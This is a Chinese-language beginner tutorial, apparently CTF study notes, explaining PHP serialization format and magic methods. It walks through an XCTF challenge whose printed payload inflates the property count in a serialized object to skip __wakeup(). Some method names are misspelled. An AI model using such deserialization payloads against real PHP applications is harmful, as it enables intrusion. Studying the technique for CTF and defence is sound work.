跳转至

PHP序列化与反序列化入门

学习博文: php序列化,将对象转化为字符串; php反序列化,将字符串转化为可操作性的对象, 在转为对象的过程中,存在函数漏洞,利用此漏洞可以使对象运行错误方法,从而执行想要的结果。

::: tip

来解释一下:

O:7:"chybeta":1:{s:4:"test";s:3:"123";}
  1. 这里的O呢就是object对象的意思
  2. 数字7代表着对象的函数名有7个占位
  3. 然后就是对象名了
  4. 这个数字1表示对象里有一个变量
  5. 大括号里的s代表的是string类型还有一个i是int型
  6. 4:变量名的占位
  7. 后面接着就是变量的值了

:::

<?php
class xctf{
    public $flag = '111';
}
$xctf = new xctf;
$day = serialize($xctf);
print_r($day);
$obj = unserialize($day);
print_r($obj);
?>
image.png

::: warning

这里介绍几个魔法函数,通常不需要我们手动调用,一般魔法函数是以__开头的,再碰到这几个魔法函数时就好好好想想能不能利用序列化与反序列化漏洞了:

  • __constuct() 在创建对象是自动调用
  • __destuct() 相当于c++中的析构最后会将对象销毁,所以在对象销毁时 被调用
  • __toString() 但一个对象被当成字符串使用时被调用
  • __sleep() 当对象被序列化之前使用
  • __wakeup() 将在被序列化后立即被调用 //咱们这道题就是利用的这个来利用序列化的

serialize()和unserialize()函数对魔术方法的处理:serialize()函数会检查类中是否存在一个魔术方法__sleep() 这里想没想到就是上面讲的这个函数是在序列化之前被调用的所以在序列化之前要检验有没有这个魔法函数。如果存在,该方法会先被调用,然后才执行序列化操作,此功能可以用于清理对象。

unserialize()函数会检查类中是否存在一个魔术方法__wakeup(),如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。 __wakeup()执行漏洞:一个字符串或对象被序列化后,如果其属性被修改,则不会执行__wakeup()函数

:::

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

<?php
class xctf{
    public $flag = '111';
    public function __wakeup(){
        exit('bad requests');
        }
}
$xctf = new xctf;
$day = serialize($xctf);
print_r($day);
$obj = unserialize($day);
print_r($obj);
?>
image.png

修改属性后,绕过 __wakeup()函数

O:4:"xctf":3:{s:4:"flag";s:3:"111";}

image.png